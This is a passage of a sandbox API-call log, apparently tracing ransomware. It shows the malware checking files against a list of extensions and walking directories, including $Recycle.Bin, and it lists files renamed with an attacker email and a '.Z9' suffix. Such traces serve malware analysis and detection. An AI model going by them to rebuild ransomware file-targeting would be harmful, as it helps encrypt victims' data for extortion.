	[0159.749] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0159.749] lstrlenW (lpString=".jpeg") returned 5
	[0159.749] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0159.749] lstrlenW (lpString=".jpf") returned 4
	[0159.749] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0159.749] lstrlenW (lpString=".jpg") returned 4
	[0159.749] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0159.749] lstrlenW (lpString=".jpx") returned 4
	[0159.749] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0159.749] lstrlenW (lpString=".js") returned 3
	[0159.749] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0159.749] lstrlenW (lpString=".jsf") returned 4
	[0159.749] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0159.749] lstrlenW (lpString=".json") returned 5
	[0159.749] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0159.749] lstrlenW (lpString=".jsp") returned 4
	[0159.749] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0159.749] lstrlenW (lpString=".kdc") returned 4
	[0159.749] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0159.749] lstrlenW (lpString=".kmz") returned 4
	[0159.749] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0159.749] lstrlenW (lpString=".kwm") returned 4
	[0159.749] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0159.749] lstrlenW (lpString=".lasso") returned 6
	[0159.749] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0159.749] lstrlenW (lpString=".lbi") returned 4
	[0159.749] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0159.749] lstrlenW (lpString=".lgf") returned 4
	[0159.749] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0159.749] lstrlenW (lpString=".lgp") returned 4
	[0159.749] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0159.749] lstrlenW (lpString=".log") returned 4
	[0159.749] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".m1v") returned 4
	[0159.750] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".m4a") returned 4
	[0159.750] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".m4v") returned 4
	[0159.750] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".max") returned 4
	[0159.750] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".md") returned 3
	[0159.750] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0159.750] lstrlenW (lpString=".mda") returned 4
	[0159.750] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".mdb") returned 4
	[0159.750] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".mde") returned 4
	[0159.750] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".mdf") returned 4
	[0159.750] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".mdw") returned 4
	[0159.750] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".mef") returned 4
	[0159.750] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".mft") returned 4
	[0159.750] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".mfw") returned 4
	[0159.750] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".mht") returned 4
	[0159.750] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0159.750] lstrlenW (lpString=".mhtml") returned 6
	[0159.750] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0159.750] lstrlenW (lpString=".mka") returned 4
	[0159.750] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0159.751] lstrlenW (lpString=".mkidx") returned 6
	[0159.751] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0159.751] lstrlenW (lpString=".mkv") returned 4
	[0159.751] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0159.751] lstrlenW (lpString=".mos") returned 4
	[0159.751] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0159.751] lstrlenW (lpString=".mov") returned 4
	[0159.751] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0159.751] lstrlenW (lpString=".mp3") returned 4
	[0159.751] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0159.751] lstrlenW (lpString=".mp4") returned 4
	[0159.751] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0159.751] lstrlenW (lpString=".mpeg") returned 5
	[0159.751] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0159.751] lstrlenW (lpString=".mpg") returned 4
	[0159.751] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0159.751] lstrlenW (lpString=".mpv") returned 4
	[0159.751] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0159.751] lstrlenW (lpString=".mrw") returned 4
	[0159.751] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0159.751] lstrlenW (lpString=".msg") returned 4
	[0159.751] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0159.751] lstrlenW (lpString=".mxl") returned 4
	[0159.751] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0159.751] lstrlenW (lpString=".myd") returned 4
	[0159.751] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0159.751] lstrlenW (lpString=".myi") returned 4
	[0159.751] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0159.751] lstrlenW (lpString=".nef") returned 4
	[0159.752] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0159.752] lstrlenW (lpString=".nrw") returned 4
	[0159.752] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0159.752] lstrlenW (lpString=".obj") returned 4
	[0159.752] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0159.752] lstrlenW (lpString=".odb") returned 4
	[0159.752] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0159.752] lstrlenW (lpString=".odc") returned 4
	[0159.752] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0159.752] lstrlenW (lpString=".odm") returned 4
	[0159.752] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0159.752] lstrlenW (lpString=".odp") returned 4
	[0159.752] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0159.752] lstrlenW (lpString=".ods") returned 4
	[0159.752] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0159.752] lstrlenW (lpString=".oft") returned 4
	[0159.752] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0159.752] lstrlenW (lpString=".one") returned 4
	[0159.752] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0159.752] lstrlenW (lpString=".onepkg") returned 7
	[0159.752] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0159.752] lstrlenW (lpString=".onetoc2") returned 8
	[0159.752] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0159.752] lstrlenW (lpString=".opt") returned 4
	[0159.752] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0159.752] lstrlenW (lpString=".oqy") returned 4
	[0159.752] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0159.752] lstrlenW (lpString=".orf") returned 4
	[0159.752] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0159.752] lstrlenW (lpString=".p12") returned 4
	[0160.316] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0160.316] lstrlenW (lpString=".p7b") returned 4
	[0160.316] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0160.316] lstrlenW (lpString=".p7c") returned 4
	[0160.316] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0160.316] lstrlenW (lpString=".pam") returned 4
	[0160.316] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0160.316] lstrlenW (lpString=".pbm") returned 4
	[0160.316] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0160.316] lstrlenW (lpString=".pct") returned 4
	[0160.316] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0160.316] lstrlenW (lpString=".pcx") returned 4
	[0160.316] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0160.316] lstrlenW (lpString=".pdd") returned 4
	[0160.316] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0160.316] lstrlenW (lpString=".pdf") returned 4
	[0160.316] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0160.316] lstrlenW (lpString=".pdp") returned 4
	[0160.316] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0160.316] lstrlenW (lpString=".pef") returned 4
	[0160.316] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0160.316] lstrlenW (lpString=".pem") returned 4
	[0160.317] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0160.317] lstrlenW (lpString=".pff") returned 4
	[0160.317] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0160.317] lstrlenW (lpString=".pfm") returned 4
	[0160.317] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0160.317] lstrlenW (lpString=".pfx") returned 4
	[0160.317] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0160.317] lstrlenW (lpString=".pgm") returned 4
	[0160.317] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0160.317] lstrlenW (lpString=".php") returned 4
	[0160.317] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0160.317] lstrlenW (lpString=".php3") returned 5
	[0160.317] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0160.317] lstrlenW (lpString=".php4") returned 5
	[0160.317] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0160.317] lstrlenW (lpString=".php5") returned 5
	[0160.317] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0160.317] lstrlenW (lpString=".phtml") returned 6
	[0160.317] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0160.317] lstrlenW (lpString=".pict") returned 5
	[0160.317] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0160.317] lstrlenW (lpString=".pl") returned 3
	[0160.317] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0160.317] lstrlenW (lpString=".pls") returned 4
	[0160.317] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0160.317] lstrlenW (lpString=".pm") returned 3
	[0160.317] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0160.317] lstrlenW (lpString=".png") returned 4
	[0160.317] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0160.317] lstrlenW (lpString=".pnm") returned 4
	[0160.317] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0160.317] lstrlenW (lpString=".pot") returned 4
	[0160.317] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0160.317] lstrlenW (lpString=".potm") returned 5
	[0160.317] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0160.317] lstrlenW (lpString=".potx") returned 5
	[0160.317] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0160.317] lstrlenW (lpString=".ppa") returned 4
	[0160.318] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0160.318] lstrlenW (lpString=".ppam") returned 5
	[0160.318] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0160.318] lstrlenW (lpString=".ppm") returned 4
	[0160.318] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0160.318] lstrlenW (lpString=".pps") returned 4
	[0160.318] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0160.318] lstrlenW (lpString=".ppsm") returned 5
	[0160.318] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0160.318] lstrlenW (lpString=".ppt") returned 4
	[0160.318] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0160.318] lstrlenW (lpString=".pptm") returned 5
	[0160.318] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0160.318] lstrlenW (lpString=".pptx") returned 5
	[0160.318] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0160.318] lstrlenW (lpString=".prn") returned 4
	[0160.318] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0160.318] lstrlenW (lpString=".ps") returned 3
	[0160.318] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0160.318] lstrlenW (lpString=".psb") returned 4
	[0160.318] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0160.318] lstrlenW (lpString=".psd") returned 4
	[0160.318] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0160.318] lstrlenW (lpString=".pst") returned 4
	[0160.318] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0160.318] lstrlenW (lpString=".ptx") returned 4
	[0160.318] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0160.318] lstrlenW (lpString=".pub") returned 4
	[0160.318] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0160.318] lstrlenW (lpString=".pwm") returned 4
	[0160.318] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0160.318] lstrlenW (lpString=".pxr") returned 4
	[0160.318] lstrcmpiW (lpString1=".pxr", lpString2="].Z9") returned -1
	[0160.318] lstrlenW (lpString=".py") returned 3
	[0160.318] lstrcmpiW (lpString1=".py", lpString2=".Z9") returned -1
	[0160.318] lstrlenW (lpString=".qt") returned 3
	[0160.318] lstrcmpiW (lpString1=".qt", lpString2=".Z9") returned -1
	[0160.318] lstrlenW (lpString=".r3d") returned 4
	[0160.318] lstrcmpiW (lpString1=".r3d", lpString2="].Z9") returned -1
	[0160.319] lstrlenW (lpString=".raf") returned 4
	[0160.319] lstrcmpiW (lpString1=".raf", lpString2="].Z9") returned -1
	[0160.319] lstrlenW (lpString=".rar") returned 4
	[0160.319] lstrcmpiW (lpString1=".rar", lpString2="].Z9") returned -1
	[0160.319] lstrlenW (lpString=".raw") returned 4
	[0160.319] lstrcmpiW (lpString1=".raw", lpString2="].Z9") returned -1
	[0160.319] FindNextFileW (in: hFindFile=0x76e828, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34e4479a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34e4479a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e66cb5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="GETCUR~1.Z9")) returned 1
	[0160.319] FindNextFileW (in: hFindFile=0x76e828, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x355286d0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x355286d0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35aabe98, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARTNE~1.Z9")) returned 1
	[0160.319] FindNextFileW (in: hFindFile=0x76e828, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x358bbf2c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x358bbf2c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x358e214e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PREOOB~1.Z9")) returned 1
	[0160.319] FindNextFileW (in: hFindFile=0x76e828, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d0e283, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35d0e283, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3600916a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPC~1.Z9")) returned 1
	[0160.319] FindNextFileW (in: hFindFile=0x76e828, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d0e283, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35d0e283, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3600916a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPC~1.Z9")) returned 0
	[0160.319] FindClose (in: hFindFile=0x76e828 | out: hFindFile=0x76e828) returned 1
	[0160.320] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.320] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x34e66cb5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e66cb5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0160.320] FindClose (in: hFindFile=0x76e628 | out: hFindFile=0x76e628) returned 1
	[0160.320] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3fe2738 | out: hHeap=0x710000) returned 1
	[0160.321] FindNextFileW (in: hFindFile=0x76e7e8, lpFindFileData=0x372fcf8 | out: lpFindFileData=0x372fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77b70000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0160.321] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3fe2738
	[0160.322] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x76e668
	[0160.322] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0160.322] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x34e8cec5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e8cec5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0160.322] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.322] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="쮀z\x08")) returned 0xffffffff
	[0160.323] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.323] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x630371ce, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x630371ce, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0160.323] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.323] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x630371ce, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x630371ce, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0160.323] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x630371ce, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x630371ce, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.323] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x630371ce, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x630371ce, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x630371ce, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0160.323] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x34af96d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34af96d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34af96d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DESKTO~1.Z9")) returned 1
	[0160.323] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x34af96d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34af96d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34af96d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DESKTO~1.Z9")) returned 0
	[0160.323] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0160.323] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.323] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x630371ce, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x630371ce, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0160.323] FindClose (in: hFindFile=0x76e668 | out: hFindFile=0x76e668) returned 1
	[0160.323] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3fe2738 | out: hHeap=0x710000) returned 1
	[0160.323] FindNextFileW (in: hFindFile=0x76e7e8, lpFindFileData=0x372fcf8 | out: lpFindFileData=0x372fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77b70000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
